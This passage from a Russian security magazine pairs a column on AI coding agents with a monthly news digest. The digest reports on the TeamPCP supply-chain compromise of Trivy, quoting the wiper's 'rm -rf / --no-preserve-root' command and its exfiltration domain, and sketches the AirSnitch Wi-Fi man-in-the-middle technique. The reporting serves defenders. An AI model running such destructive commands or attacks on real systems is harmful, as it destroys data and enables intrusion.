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За последний год генерация кода
при помощи LLM мощно усилилась. И пока
одни программисты вайбкодят буквально
круглосуточно благодаря ИИ‑агентам, дру‐
гие стремятся избежать этой напасти.
Сегодня посмотрим, что изменилось в этой
области и как с этим жить дальше.

КОД ВЫХОДИТ ИЗ ЧАТА

Я уже  одну колонку про вайбкодинг, но это было почти год назад. Я тог‐
да осторожно рекомендовал вайбкодить личные инструменты и изучать в про‐
цессе новые вещи. Но, как  и многие тогда, отвергал идею, что выдаваемый
LLM код годится для  продакшена в  чистом виде. Попробовать идею  — да.
Сделать на  скорую руку личный инструмент  — вполне. А  вот создавать код,
который будет крутиться на сервере и обслуживать тысячи пользователей, —
лучше не надо.

писал

На всякий случай поясню, что под  «вайбкодингом» я тогда имел в  виду
именно программирование слепым методом: дал модели задачу, потом сра‐
зу запускаешь то, что получилось, просишь доработать или  починить, и  так
далее. Короче, способ для тех, кто вообще не умеет или не хочет заглядывать
в исходники.

Если же ты читаешь выдаваемый моделью код, активно вмешиваешься,
тестируешь отдельные функции, даешь детальные указания, то где же тут вай‐
бинг? Никакого тебе расслабона под музычку: это реальный выматывающий
труд, просто с  более мощными инструментами в  руках. Корректный термин
для  такого занятия  — AI-assisted coding, а  «вайбкодинг» превращается
в дразнилку.

Так или иначе, за последний год оба метода окрепли неимоверно. Модели
научили гораздо лучше использовать инструменты, в  первую очередь  —
поиск в  сети и  выполнение локальных команд. Плюс доработали обвязку  —
автоматическое управление контекстом, который подается на  вход вместе
с запросом.

Сам я до  недавних пор по  старинке давал задания на  каждую функцию
через обычный чат, проглядывал код, копировал, тестировал. Конечно, всю
дорогу была возможность обратиться к модели через специальный чат в VS
Code и получить правки в виде диффов к открытому файлу, но мне этот метод
казался небезопасным: даже если внимательно проглядываешь изменения,
напортачить можно одним неверным кликом. Отдельной проблемой было то,
что модель без специальных указаний не стремится заглядывать в соседние
файлы в проекте.

И тут на  сцену выходят инструменты нового поколения: Claude Code,
OpenAI Codex и  Gemini Code Assist. В  сравнении с  неторопливым копипей‐
стом из  чата они ощущаются как  отбойный молоток против перфоратора  —
инструмент совсем другого уровня силы. (В скобках замечу, что ручное
кодирование в этой аналогии — долото и киянка. Трудозатратный, но точный
старый способ работать. Отбойным молотком‑то шедевров не создашь!)

В наше время для  небольших задач можно уже вообще не  открывать
редактор кода и  работать прямо в  чате. Если модель видит, что нужно заг‐
лянуть в соседние файлы, — заглядывает. Если нужно прогнать тест — про‐
гонит. Может даже запустить программу и, если та вальнется, почитать лог
и  поправить. А  если не  получится сделать, как  ты просил, будет повторять
это до победного конца или упрется в лимит токенов.

Теперь фигачить скрипты или небольшие сайты вслепую стало еще легче.
Ну а если ты готов писать детальные ТЗ, следить за структурой проекта, прос‐
матривать код и совместно с моделью вести документацию (она описывает,
что наваяла, а ты — что нужно), то пределов вообще, считай, больше нет.

В общем, если не пробовал — обязательно попробуй, хотя бы ради инте‐
реса!

INFO

Отдельно рекомендую активно использовать Git,
даже если кодишь один. Это  и раньше было
хорошей практикой, а с LLM репозиторий просто
обязателен. Создаешь ветку, пробуешь идею, и,
если правки зашли в  тупик, всегда можно отка‐
титься и уточнить ТЗ.

ТОКЕНМАКСИНГ

И разработчики принялись фигачить, да  еще как! Десятки параллельно
работающих кодинг‑агентов, непрерывная необходимость выгрести все
ресурсы, которые дают по подписке, счета за токены на сотни и тысячи дол‐
ларов, когда подписок не хватает... Все это, похоже, теперь становится нор‐
мой.

Работодатели не  просто не  препятствуют такому поведению, а  всячески
его поощряют. Статья Кевина Руса в  The New York Times от  20  мар‐
та 2026 года « » описыва‐
ет феномен «токенмаксинга» (tokenmaxxing)  — когда кодеры соревнуются
за то, кто сожжет больше ИИ‑токенов.

More! More! More! Tech Workers Max Out Their A.I. Use

В некоторых компаниях уже стали вводить лидерборды по  потраченным
токенам: кто больше использует ИИ, тот (предположительно) продуктивнее
трудится. В статье Forbes «

» описываются случаи, когда разработчикам разрешают тратить
токены на сотни тысяч долларов.

The ‘AI Gods’ Spending As Much As They Can On AI
Tokens

Исполнительный директор Nvidia Дженсен Хуанг говорит:

« »Если инженер с  зарплатой  500  тысяч долларов в  год не  сожжет
токенов хотя бы на 250 тысяч долларов, я буду глубоко встревожен.

Конечно, Nvidia на всем этом неплохо зарабатывает и распространять такие
настроения Хуангу выгодно, но и другие айтишные CEO и CTO с ним солидар‐
ны.

Инженеры в  компаниях вроде OpenAI и  Anthropic вообще никак не  огра‐
ничены в  использовании ИИ и  наслаждаются доступом к  самым мощным
моделям. Рекорд токенмаксинга на момент публикации этого текста принад‐
лежит сотруднику OpenAI, который сжег 210 миллиардов токенов за неделю.

CTO Meta Эндрю Босворт в  ответ на  вопрос, какой у  его команд лимит
на токены, ответил:

« »Нет лимитов. Пусть продолжают. Это легкие деньги.

Даже у  разработчиков попроще уже кончаются идеи, что  бы еще  такое
накодировать. Хобби‑проекты, которые люди откладывали годами, оказыва‐
ются завершены за  пару вечеров. Главное  — не  перегореть и  не словить
еще одно новое явление — AI brain fry, буквально «спекшиеся от ИИ мозги».

NO-AI

Если ты думаешь, что это  отдает каким‑то психозом, то ты такой не  один.
Автор многих известных книг по  программированию и  идеолог метода Agile
Ален Голуб, когда‑то критиковавший изменение продуктивности методом
подсчета написанных строк кода,  токенмаксинг болезненной и безум‐
ной метрикой. И дальше пояснил:

назвал

«

»

Это измерение объема без учета того, что именно ты строишь.
Хороший программист думает хотя  бы час, прежде чем

написать  10  строк кода, а  плохой за  этот час пишет  500  строк,
которые потом придется выкинуть, потому что они портят хорошую
систему. Токенмаксинг, как  и подсчет коммитов, поощряет именно
второй тип поведения. Да, ты можешь навайбить хренову кучу кода
и сжечь целое состояние, но нужно ли заказчикам то, что получится?

В сентябре  2025  года агентство Apiiro Research опубликовало результаты
исследования, которое показывает созвучные этим словам тревожные тен‐
денции. Разработчики, регулярно прибегающие к ИИ, в среднем производят
в 3–4 раза больше кода, но при этом генерируют в 10 раз больше уязвимос‐
тей.

Да, число синтаксических и  логических ошибок с  ИИ заметно падает, но  в
целом статистика печальная: +322% багов, приводящих к эскалации привиле‐
гий, +153% архитектурных изъянов.

Не заставили себя ждать и борцы с этим трендом. Претензий у них множес‐
тво: упомянутые проблемы с  качеством кода и  надежностью софта, потен‐
циальное снижение уровня навыков среднего программиста (так называемый
дескиллинг), влияние дата‑центров на  экологию, обучение ИИ на  чужой
интеллектуальной собственности, непрозрачность и  концентрация власти,
да и просто абстрактная угроза человечеству.

Подобно борцам с  ГМО эти люди требуют явной маркировки продуктов,
куда попала хотя  бы строчка ИИ‑кода. Параллельно идет активная работа
над  , написанного с участием ИИ. Если в репозитории или в

 найдется файл , характерный для ИИ‑агентов, или раз‐

работчик публично признавался, что вайбкодил,  — всё, код навсегда
замаран.

каталогом софта
.gitignore agents.md

В список уже попали Chromium и  Firefox, curl и  rsync, а  также библиотека
requests  — один из  самых важных и  популярных модулей для  Python с  мил‐
лиардом скачиваний в месяц. Рядом предлагаются альтернативы: с curl надо
переходить на  wget, requests заменить более низкоуровневой urllib.request...
Или  не надо, потому что и  сам Python уже в  списке, равно как  Ruby, Kotlin
и весь .NET, так что если съезжать, то на Lua. Но долго ли он продержится?

ЧТО ДАЛЬШЕ

Получается, в  противовес угару токенмаксинга зарождается что‑то в  духе
религиозного фундаментализма, еще  менее совместимого с  жизнью.
Желание сохранить контроль над кодом в целом понятно, но заранее видно,
что это  проигрышный путь. Удары в  спину наносит то один разработчик, то
другой. Даже Линус Торвальдс уже  (хоть и не в ядре Linux)!вайбкодит

Да, спорить с процитированными выше мудрыми словами Голуба о качес‐
тве кода невозможно: он прав и  в том, что токены  — не  мерило успеха, и  в
том, что код на выходе, мягко говоря, рыхлый. Но за упомянутый Голубом час
теперь (если повезет) пишется не  одна и  не  500  строк кода, а  весь проект
от начала до конца. И бизнес просто не может это игнорировать.

Думаю, в  Anthropic, OpenAI и  Google уже кипит работа над  следующим
поколением агентов, которые будут не только добавлять базовые юнит‑тесты,
но  и делать всесторонний анализ уязвимостей. Один ИИ‑агент пишет прог‐
рамму, другой ее проверяет, третий пытается взломать и дает рекомендации,
как заткнуть дыры.

Тут вполне найдется место для  еще одного качественного скачка  —
подобного тому, что мы видели за прошедший год. Плюс сама культура при‐
менения ИИ‑агентов повзрослеет. Если сейчас все вайбкодят кто во  что
горазд, то со временем наиболее удачные паттерны будут закреплены как в
виде опыта, так и в самих инструментах.

В общем, ИИ уже массово применяется в программировании, и этот тренд
будет усиливаться. А вот самые интересные ошибки в коде — те, что не дают‐
ся автоматике, будут находить именно люди. Так что хакеров ждут поистине
интересные времена! © X
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В этом месяце: исследователи изучили сторонние клиенты
Telegram; группировка TeamPCP скомпрометировала сканер
Trivy, ИБ‑компанию Checkmarx и  библиотеку LiteLLM;
в Android ограничат доступ к Accessibility API, а для установки
сторонних приложений придется ждать  24  часа; правоох‐
ранители закрыли хакфорум LeakBase и сервис SocksEscort;
LLM научили деанонимизировать пользователей, а  также
другие важные и интересные события марта.

АНАЛИЗ СТОРОННИХ
КЛИЕНТОВ TELEGRAM
Исследователи RKS Global  восемь популярных альтернатив‐
ных Telegram-клиентов для  Android и  выяснили, что три из  них отправляют
пользовательские данные на серверы в России, где к ним могут получить дос‐
туп силовые структуры.

протестировали

На фоне   работы Telegram в  России поль‐
зователи все активнее ищут обходные пути, и  многие устанавливают с  этой
целью сторонние клиенты. Такие клиенты привлекают аудиторию расширен‐
ными функциями, включая встроенные переводчики, криптокошельки, бло‐
кировку рекламы и гибкую настройку интерфейса.

стремительно ухудшающейся

Специалисты использовали статический анализ APK (декомпиляция через
jadx) и  динамический анализ сетевого трафика (tcpdump + mitmproxy
на рутованном эмуляторе). Эталоном для исследования служил официальный
APK Telegram v12.4.3, и  тестируемые APK загружали из  Google Play Store
(Telegram Official, Telegram X, Plus Messenger, Nekogram, Graph Messenger,
«Телега», iMe) и F-Droid (Forkgram, Mercurygram).

Исследователи пишут, что наибольшую опасность для конфиденциальнос‐
ти пользователей может представлять «Телега» (ru.dahl.messenger). При‐
ложение подменяет серверы Telegram собственными: 25 IP-адресов в Казани
вместо пяти стандартных DC. При этом весь MTProto-трафик проходит через
российские прокси. В отчете подчеркивается, что это не теоретическая проб‐
лема, а факт, подтвержденный изучением расшифрованного HTTPS-трафика
и pcap-дампами.

Кроме того, «Телега» передает аналитику на  серверы VK Group
(MyTracker), включая Telegram user ID и  статус VPN-подключения. Звонки же
маршрутизируются через инфраструктуру «Одноклассников». Эксперты зак‐
лючают:

«
»

Вся переписка пользователя, который установил клиент Telega
для  Telegram, все его взаимодействия с  другими пользователями
физически оказываются в России, где по закону должны быть предос‐
тавлены властям по запросу. Параллельно Telega сообщает в VK (быв‐
ший Mail.ru) номер телефона, ID в Telegram и даже то, использует ли
пользователь VPN.

Graph Messenger и iMe также отправляют данные на серверы «Яндекса» и VK
Group через встроенные рекламные и  аналитические модули. К  примеру,
в iMe нашли больше пятнадцати рекламных SDK, в Graph Messenger — шесть.

Кроме того, отмечается, что три альтернативных клиента из  восьми явно
включают Firebase Analytics (Plus Messenger, Graph Messenger, iMe), хотя офи‐
циальный Telegram эту функцию деактивирует. То есть альтернативные кли‐
енты отменяют решение Telegram, и  в результате Google получает данные
об использовании мессенджера.

Наиболее «чистыми» на  момент исследования оказались Mercurygram
и Forkgram, которые не передают данные третьим сторонам. Telegram X тоже
получил хорошую оценку: в нем обнаружили даже меньше разрешений и тре‐
керов, чем в официальном клиенте. Однако исследователи обнаружили под‐
дельный Telegram X — полноценный троян китайского происхождения. Такая
малварь похищает сессии Telegram, самостоятельно вступает в  каналы,
перехватывает сообщения и позволяет захватить аккаунт жертвы полностью.

Эксперты RKS Global подчеркивают: даже клиенты с  «чистым» профилем
могут изменить поведение в  следующем обновлении. Наибольшую кон‐
фиденциальность обеспечивает только официальный клиент Telegram.

Следует отметить, что параллельно с публикацией этого отчета разработ‐
чики «Телеги» в комментарии для «Бизнес ФМ» , что их приложение —
полностью независимая разработка. Дело в  том, что ранее в  этом месяце
издание , будто проект «Телега» получил  200  миллионов руб‐
лей от  учредителей в  2025  году и  в уставе АО «Телега» появился пункт
об  ограничении полномочий совета директоров при  заключении сделок
с МКПАО «ВК».

заявили

CNews писало

Теперь связь с  VK в  компании объяснили стандартными коммерческими
отношениями, заявив, что «Телега» покупает у VK модуль для звонков и часть
серверной инфраструктуры. Помимо этого, команда рассказала, что исполь‐
зует сервисы аналитики и хранения данных в Yandex Cloud. В компании нас‐
таивают, что все это  — обычная практика разработки, которая не  означает
слияния бизнесов или потери независимости.

После публикации этого материала представители «Телеги» обратились
в  редакцию «Хакера» с  просьбой скорректировать или  удалить материал.
В  компании заявили, что формулировки о  подмене серверов и  перехвате
MTProto-трафика «не соответствуют действительности и  некорректно опи‐
сывают работу Telegram-клиентов».

По словам представителей проекта, «Телега» работает через официаль‐
ный Telegram API, использует протокол MTProto, а  безопасность сообщений
определяется архитектурой и  криптографической моделью Telegram. Также
в  компании утверждают, что наличие сетевых узлов в  конкретном регионе
не означает, что пользовательские данные обрабатываются там:

«

»

Ряд выводов в  публикации основан на  интерпретации сетевого тра‐
фика. Сообщения пользователей передаются по  протоколу MTProto,
который не  работает через TLS и  использует собственную систему
шифрования. Анализ HTTPS-трафика не  дает оснований делать
выводы о  доступе к  содержимому зашифрованных сообщений.
В исследовании не представлено подтверждения расшифровки поль‐
зовательских сообщений или  нарушения криптографической модели
Telegram.

Отметим, что в исследовании RKS Global рассматривалась не компрометация
шифрования MTProto, а  вопросы маршрутизации трафика и  передачи
метаданных на серверы VK Group.

Факт использования MyTracker в  «Телеге» подтвердили, но  отметили, что
сейчас находятся на  финальном этапе перехода на  AppMetrica. В  компании
заявляют, что эти сервисы используются для  технического обеспечения
работы приложения и  «не предполагают передачи пользовательских данных
в том виде, как это описано в исследовании».

В  РАЗА БОЛЬШЕ ПРИБЫЛИ ПРИНОСЯТ
МОШЕННИЧЕСКИЕ СХЕМЫ С ИСПОЛЬЗОВАНИЕМ ИИ
4,5

По данным Интерпола, потери от  финансового мошенничества в  2025  году составили около
. Схемы с  применением ИИ приносят злоумышленникам

в   больше прибыли по сравнению с традиционными.
442  миллиардов долларов США

4,5 раза

Преступники используют LLM для «шлифовки» фишинговых писем — убирают ошибки и стилис‐
тические маркеры, характерные для  неносителей языка. На  более продвинутом уровне при‐
меняют дипфейки: для  создания убедительного голосового клона теперь хватает всего 
записи.

10  с

В Интерполе опасаются, что следующим шагом станет массовое применение ИИ‑агентов
для  автоматического сбора данных о  компаниях‑жертвах, анализа украденной информации
и расчета оптимального размера выкупа.

ЗАМЕДЛЕНИЕ
TELEGRAM
ПРОДОЛЖАЕТСЯ
С февраля  2026  года Роскомнадзор  работу Telegram
в  России, ссылаясь на  нарушения в  сфере противодействия терроризму
и защиты персональных данных. В марте ситуация обострилась.

начал ограничивать

По  сервиса мониторинга Merilo, за неделю с 9 по 15 марта сред‐
няя доля неудачных запросов к доменам мессенджера выросла до 79,4% —
на  47  процентных пунктов больше, чем неделей ранее. В  отдельных
федеральных округах показатель приблизился к 90%.

данным

Пользователи массово жалуются на задержки в отправке сообщений, незаг‐
ружающиеся медиафайлы и  зависающий статус «Соединение...». Через
мобильный интернет мессенджер практически перестал работать, и десктоп‐
ная версия у ряда провайдеров тоже не подключается вовсе.

При этом на  зарубежных мониторинговых ресурсах глобальных инциден‐
тов не  зафиксировано  — проблемы локализованы на  территории РФ. Сер‐
висы Downdetector и  «Сбой.рф» фиксируют тысячи жалоб на  некорректную
работу мессенджера.

Неравномерность блокировок специалисты  особенностями
работы ТСПУ  — технических средств противодействия угрозам, установ‐
ленных на сетях операторов связи.

объясняют

По информации специалистов, объем правил фильтрации достиг око‐
ло 2,5 миллиона записей и не все узлы справляются с  такой нагрузкой. Так,
когда система перегружается, она переключается в режим bypass — пропус‐
кает трафик напрямую, без фильтрации. Из‑за этого заблокированные ранее
ресурсы (включая WhatsApp и  YouTube) время от  времени снова становятся
доступны. В  Роскомнадзоре назвали эту информацию не  соответствующей
действительности.

Предполагается, что отдельную проблему может создавать встроенный
прокси Telegram  — MTProxy. Этот протокол маскирует трафик мессенджера
под  обычные HTTPS-соединения, что заставляет ТСПУ тратить значительно
больше ресурсов на анализ каждого пакета.

При этом Telegram демонстрирует рекордные темпы модерации контента:
к  примеру, только  17  марта на  платформе заблокировали  114  348  групп
и  каналов  — максимальный суточный показатель. Суммарно за  март плат‐
форма ограничила доступ к 1,5 миллиона сообществ.

Однако в  Роскомнадзоре , что «по‑прежнему фиксируют неис‐
полнение российского законодательства» со  стороны мессенджера.
А 15 марта Таганский суд Москвы оштрафовал Telegram на 35 миллионов руб‐
лей за неудаление экстремистского контента.

заявили

Также отметим, что в этом месяце пресс‑секретарь президента Дмитрий
Песков обозначил три условия, при  которых мессенджер сможет избежать
блокировки: выполнить требования российского законодательства, под‐
держивать контакт с властями и «найти вариант для решения проблем».

Ранее собственные источники РБК сообщали, что решение о полной бло‐
кировке Telegram уже принято и  мессенджер заблокируют в  первых числах
апреля. В Роскомнадзоре эту информацию не опровергли и не подтвердили,
заявив, что ведомству «нечего добавить к  ранее опубликованной информа‐
ции».

 КОМПАНИЙ НАКОПИЛИ «ДОЛГ БЕЗОПАСНОСТИ»82%

По данным ежегодного отчета компании Veracode, в  рамках которого специалисты изучили
 приложений, «долг безопасности» (security debt)  — известные уязвимости,

которые остаются неисправленными больше года,  — теперь есть у   компаний. Годом
ранее показатель составлял .

1,6  миллиона
82%

74%

Хуже того, доля серьезных уязвимостей с высокой вероятностью эксплуатации выросла с 
до  .

8,3%
11,3%

При этом есть и  позитивные сигналы: доля приложений с  опенсорсными уязвимостями сни‐
зилась с   до  , а общая «распространенность дефектов» упала с   до  .70% 62% 80% 78%

Специалисты отмечают, что сейчас темпы выпуска релизов ускоряются и новый код (в том чис‐
ле сгенерированный ИИ) попросту добавляется быстрее, чем закрываются старые уязвимости.

ВЗЛОМ СКАНЕРА
TRIVY И НЕ ТОЛЬКО
В этом месяце хакерская группировка TeamPCP провела одну из самых мас‐
штабных атак на  цепочку поставок в  истории опенсорса. Отправной точкой
стал Trivy  — популярный сканер уязвимостей, созданный компанией Aqua
Security и насчитывающий более чем 33 200 звезд на GitHub.

Корни этого инцидента уходят к началу марта, когда хакеры скомпромети‐
ровали расширение Aqua Trivy для VS Code и получили учетные данные с пра‐
вами записи для GitHub-аккаунта Trivy. Разработчики Aqua Security обнаружи‐
ли этот инцидент и провели ротацию секретов, однако она оказалась непол‐
ной: злоумышленники сохранили доступ и смогли провести повторную атаку.

19  марта TeamPCP нанесла : атакующие использовали
украденные учетные данные и выполнили force-push 75 из 76 тегов в репози‐
тории aquasecurity/trivy-action, а  также подменили семь тегов setup-trivy.
В результате теги стали указывать на вредоносные коммиты вместо легитим‐
ных.

основной удар

Параллельно с  этим хакеры опубликовали троянизированный релиз Trivy
v0.69.4  через GitHub Releases, Docker Hub, GHCR и  ECR. Малварь запус‐
калась вместе с  легитимным сканером, поэтому пайплайны выглядели
рабочими, хотя в фоновом режиме происходило хищение секретов.

Инфостилер TeamPCP Cloud Stealer собирает переменные окружения,
SSH-ключи, облачные конфигурации AWS/GCP/Azure, токены Kubernetes,
пароли от БД и даже данные криптокошельков, а затем сканирует память про‐
цесса GitHub Actions Runner в  поисках замаскированных секретов. Соб‐
ранные данные шифровались и  отправлялись на  тайпсквоттинговый домен
scan.aquasecurtiy[.]org.

В итоге этому инциденту был присвоен идентификатор 
с оценкой 9,4 балла по шкале CVSS.

CVE-2026-33634

Вредоносный релиз был доступен около трех часов, а скомпрометирован‐
ные теги GitHub Actions  — порядка двенадцати часов. Однако украденные
секреты запустили : даже через три дня после начала реаги‐
рования хакеры сумели опубликовать вредоносные Docker-образы Trivy
(v0.69.5, v0.69.6), а  затем дефейснули все  44  репозитория внутренней
GitHub-организации Aqua Security.

эффект домино

Затем эта вредоносная кампания распространилась за  пределы Trivy.
Используя похищенные учетные данные, участники TeamPCP скомпромети‐
ровали GitHub Actions компании Checkmarx (ast-github-action и  kics-github-
action), а  затем опубликовали вредоносные версии библиотеки LiteLLM
(1.82.7 и 1.82.8) в PyPI.

Кроме того, группировка запустила червя CanisterWorm, который
при  помощи украденных npm-токенов автоматически публиковал вредонос‐
ные обновления в  чужих пакетах (и за  минуту успевал скомпромети‐
ровать  28  пакетов). Для  управления червем используется смарт‑контракт
на  базе Internet Computer Protocol, что делает инфраструктуру устойчивой
к блокировке (впрочем, Canister уже удален).

Исследователи из  компании Aikido обнаружили, что свежие версии
CanisterWorm несут в  себе вайпер Kamikaze, нацеленный исключительно
на  иранские системы. В  Kubernetes-кластерах в  иранской таймзоне вайпер
разворачивает DaemonSet, уничтожающий данные на всех нодах. На обычных
Linux-хостах он выполняет rm -rf / --no-preserve-root. При  этом системы
за пределами Ирана получают только бэкдор CanisterWorm без вайпера.

Мотивы этих атак неясны: ранее TeamPCP считалась финансово мотиви‐
рованной группировкой, и  вайпер для  иранских систем плохо вписывается
в  этот профиль. Исследователи из  Aikido допускают, что это  может быть
попыткой привлечь к себе внимание и группа может намеренно наращивать
собственную «медийность».

По  Mandiant, на данный момент известно более чем о 1000 ском‐
прометированных SaaS-сред, и  их число может значительно вырасти.
По оценкам SANS Institute, атака затронула свыше 10 тысяч CI/CD-воркфлоу,
а исследователи из Vx-Underground говорят о 300 Гбайт похищенных данных
с 500 тысяч машин.

данным

Отдельным поворотом в этой истории стало предполагаемое партнерство
TeamPCP с  вымогательской группировкой Lapsus . По  данным экспертов

компании Socket, хакеры открыто хвастались своими атаками в  Telegram
и  заявляли о  планах «похищать терабайты коммерческих секретов вместе
с  новыми партнерами». Практически одновременно в  Telegram-канале
Lapsus  появились посты о предстоящей атаке на цепочку поставок, связан‐

ной с TeamPCP.

$

$

Аналитики из компании CrowdStrike рекомендуют привязывать GitHub Actions
к полным SHA коммитов, а не к тегам и относиться к CI/CD-раннерам с той же
серьезностью, что и к продакшен‑серверам.

Всем, кто использовал вредоносные версии Trivy, Checkmarx Actions
или  LiteLLM, следует считать все свои секреты скомпрометированными
и немедленно сменить их.

МЕЗЗЕЛЛ О ЗАКРЫТИИ DIGG ИЗ-ЗА БОТОВ

Digg  — некогда один из  самых популярных сайтов в  интернете  — закрылся спустя всего два
месяца после перезапуска. Создатели платформы объявили о  «жестком сбросе»: операции
приостановлены, команду сократили, а  сайт деактивирован. Причиной стали ИИ‑боты,
с  которыми не  удалось справиться, несмотря на  блокировку десятков тысяч аккаунтов.
Генеральный директор Digg Джастин Меззелл (Justin Mezzell) написал на  главной странице
деактивированного сайта:

→ Интернет сегодня в  значительной степени населен сложными ИИ‑агентами
и автоматизированными аккаунтами. Мы знали, что боты — это часть ландшаф‐
та, но не представляли себе масштаб, изощренность и скорость, с которой они
нас найдут. Мы заблокировали десятки тысяч аккаунтов. Задействовали внут‐
ренние инструменты и  внешних вендоров, соответствующих отраслевым стан‐
дартам. Но всего этого оказалось мало.

WI-FI-АТАКА
AIRSNITCH
ИБ‑специалисты представили серию атак AirSnitch, которые эксплуатируют
проблемы сетевого стека и  позволяют обойти изоляцию клиентов в  Wi-Fi-
сетях. Проблема затрагивает роутеры Netgear, D-Link, Ubiquiti, Cisco, а также
устройства на базе DD-WRT и OpenWrt.

Исследование было представлено на конференции Network and Distributed
System Security Symposium 2026. Его авторы Синьань Чжоу (Xin’an Zhou)
и  Мати Ванхоф (Mathy Vanhoef) рассказывают, что атаки  принципи‐
ально отличаются от прежних атак на Wi-Fi вроде : если те были нап‐
равлены на  уязвимости в  криптографических протоколах Wi-Fi, то AirSnitch
эксплуатирует ранее неизученную поверхность атаки  — нижние уровни
сетевого стека (Layer 1  и  Layer 2) и  рассинхронизацию идентификации кли‐
ента между этими и более высокими уровнями.

AirSnitch
KRACK

Ванхоф объясняет, что речь идет не о взломе криптографии, а об обходе
(bypass) клиентской изоляции — защиты, которую обещают все производите‐
ли роутеров и  которая должна блокировать прямое взаимодействие между
подключенными клиентами.

Самый мощный вариант AirSnitch — полноценная двунаправленная MitM-
атака. В ее рамках атакующий может просматривать и модифицировать тра‐
фик жертвы до  того, как  тот попадет к  предполагаемому получателю,
находясь в  том же SSID, в  другом SSID или  даже в  отдельном сегменте
сети — при условии, что все они связаны с одной точкой доступа.

Технически атака начинается с  port stealing  — адаптированной для  Wi-Fi
классической Ethernet-техники. Атакующий подменяет маппинг MAC-адреса
жертвы на  Layer 1, подключаясь к  BSSID на  другой частоте, которую
не использует жертва (обычно 2,4 или 5 ГГц), и завершает четырехсторонний
хендшейк Wi-Fi. В результате коммутатор на Layer 2 начинает пересылать тра‐
фик жертвы атакующему, шифруя его ключом PTK злоумышленника. Для вос‐
становления исходного маппинга и  получения двунаправленного MitM
используется ICMP-пинг с  рандомного MAC, зашифрованный с  помощью
Group Temporal Key.
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Известный ИБ‑эксперт и глава runZero Эйч‑Ди Мур (HD Moore) объясняет:

«
»

Атакующий может перенаправлять трафик Layer 2, потому что беспро‐
водные точки доступа, в  отличие от  Ethernet-коммутаторов, не могут
привязать физический порт к  одному клиенту  — клиенты мобильны
по своей природе.

Перехват трафика особенно опасен, если соединение не защищено HTTPS.
По данным Google, до 6% страниц на Windows и до 20% на Linux загружаются
без шифрования — в таких случаях атакующий видит весь трафик в открытом
виде, включая cookie, пароли и данные платежных карт. И даже при наличии
HTTPS злоумышленник может перехватывать DNS-запросы и  выполнять
отравление DNS-кеша.

Другие варианты атак AirSnitch обходят изоляцию клиентов и  в кор‐
поративных сетях, где каждый клиент имеет уникальные учетные данные
и используется мастер‑ключ шифрования. Атака масштабируется на несколь‐
ко точек доступа, если те связаны общей проводной инфраструктурой
(distribution system).

Также исследователи показали, что AirSnitch позволяет скомпромети‐
ровать RADIUS  — централизованный протокол аутентификации, исполь‐
зуемый в  корпоративных сетях. Подменив MAC-адрес шлюза, атакующий
может перехватить RADIUS-пакеты, взломать аутентификатор сообщений
и  узнать shared passphrase, а  затем поднять поддельный RADIUS-сервер
и точку доступа WPA2/3.

Исследователи протестировали одиннадцать устройств, включая Netgear
Nighthawk x6 R8000, D-Link DIR-3040, TP-Link Archer AXE75, Asus RT-AX57,
Ubiquiti AmpliFi Alien Router, Cisco Catalyst 9130 и OpenWrt 24.10. Каждое из них
оказалось уязвимо хотя  бы перед  одним вариантом атаки AirSnitch. Некото‐
рые производители уже выпустили исправления, однако часть обнаруженных
проблем связана с особенностями железа, и исправить их на уровне прошив‐
ки нельзя.

Что касается защиты от  AirSnitch, VPN помогает лишь частично, так
как зачастую пропускает метаданные и DNS-запросы. VLAN-изоляция между
SSID тоже ненадежна: Чжоу отмечает, что такие настройки легко сконфигури‐
ровать неправильно, а Мур подчеркивает, что VLAN вряд ли станет надежным
барьером против любых вариантов AirSnitch.

Наиболее эффективным подходом исследователи считают модель Zero
Trust, однако она сложна в реализации даже для крупных организаций.

При этом для проведения атак AirSnitch атакующему нужен доступ к Wi-Fi-
сети, что снижает угрозу по  сравнению, например, с  атаками на  WEP. Мур
считает, что, пока кто‑нибудь не напишет удобный инструмент для автомати‐
зации атак AirSnitch, злоумышленникам будет проще поднять фальшивую точ‐
ку доступа и провести атаку типа evil twin.

 — ПЛАНИРУЕМАЯ ПРОПУСКНАЯ
СПОСОБНОСТЬ ТСПУ К 2030 ГОДУ
954 ТБИТ/С

По данным СМИ, Минцифры планирует нарастить пропускную способность ТСПУ (технических
средств противодействия угрозам) до   к 2030 году — в   больше текущих
значений.

954 Тбит/с 2,5 раза

Бюджет федерального проекта «Инфраструктура кибербезопасности» вырос на 
 и теперь составляет .

14,9 миллиар‐
да рублей 83,7 миллиарда рублей

Для сравнения: средний трафик всего Рунета в  2024  году составлял около . Ожи‐
дается, что в  2026  году автоматизированная система обеспечения безопасности интернета
(АСБИ), частью которой и является оборудование ТСПУ, должна обрабатывать  трафика
российского сегмента интернета.

30 Тбит/с

100%

НОВЫЕ
ОГРАНИЧЕНИЯ
ACCESSIBILITY API
Стало известно, что в Android 17 появится ограничение, которое не позволит
обычным приложениям использовать Accessibility API, так как  Accessibility
Services — один из самых популярных у малвари механизмов для кражи дан‐
ных.

В Google тестируют новую защитную функцию в составе Android Advanced
Protection Mode (AAPM). Нововведение обнаружили в Android 17 Beta 2.

Напомним, AAPM  в  Android 16  в  прошлом году. По  аналогии
с  Lockdown Mode на  устройствах Apple режим повышенной защиты ставит
безопасность выше удобства и урезает функциональность ради сокращения
поверхности атак. Среди базовых настроек: блокировка установки приложе‐
ний из  сторонних источников, ограничение передачи данных по  USB и  обя‐
зательное сканирование через Google Play Protect.

появился

Новое ограничение в  AAPM будет направлено против злоупотребления
, который изначально создавали для  помощи людям

с ограниченными возможностями. Однако в последние годы малварь активно
эксплуатирует Accessibility Services для  кражи конфиденциальных данных
со скомпрометированных устройств.

Accessibility Services API

Теперь при активном AAPM использовать этот API смогут только приложе‐
ния, непосредственно связанные с  доступностью. Верифицированные инс‐
трументы (с флагом isAccessibilityTool="true") продолжат работать без  огра‐
ничений.

Согласно классификации Google, к таким инструментам относятся скрин‐
ридеры, средства ввода на основе переключателей, решения для голосового
ввода и  программы для  работы со  шрифтом Брайля. Антивирусное ПО,
средства автоматизации, менеджеры паролей, ассистенты, средства монито‐
ринга и лаунчеры в эту категорию не попадают.

Если у  приложения уже есть разрешение на  использование Accessibility
Services API, однако оно не относится к инструментам для обеспечения дос‐
тупности, при  включении AAPM привилегии будут автоматически отозваны.
Заново выдать приложению доступ к API не получится, пока AAPM будет акти‐
вен.

Помимо этого, в  Android 17  переработали механизм доступа к  контактам.
Новый интерфейс позволит разработчикам запрашивать у пользователя дос‐
туп только к  конкретным полям из  списка контактов (например, номерам
телефонов или  адресам электронной почты), а  самим пользователям  —
выбирать, какие контакты передавать стороннему приложению.

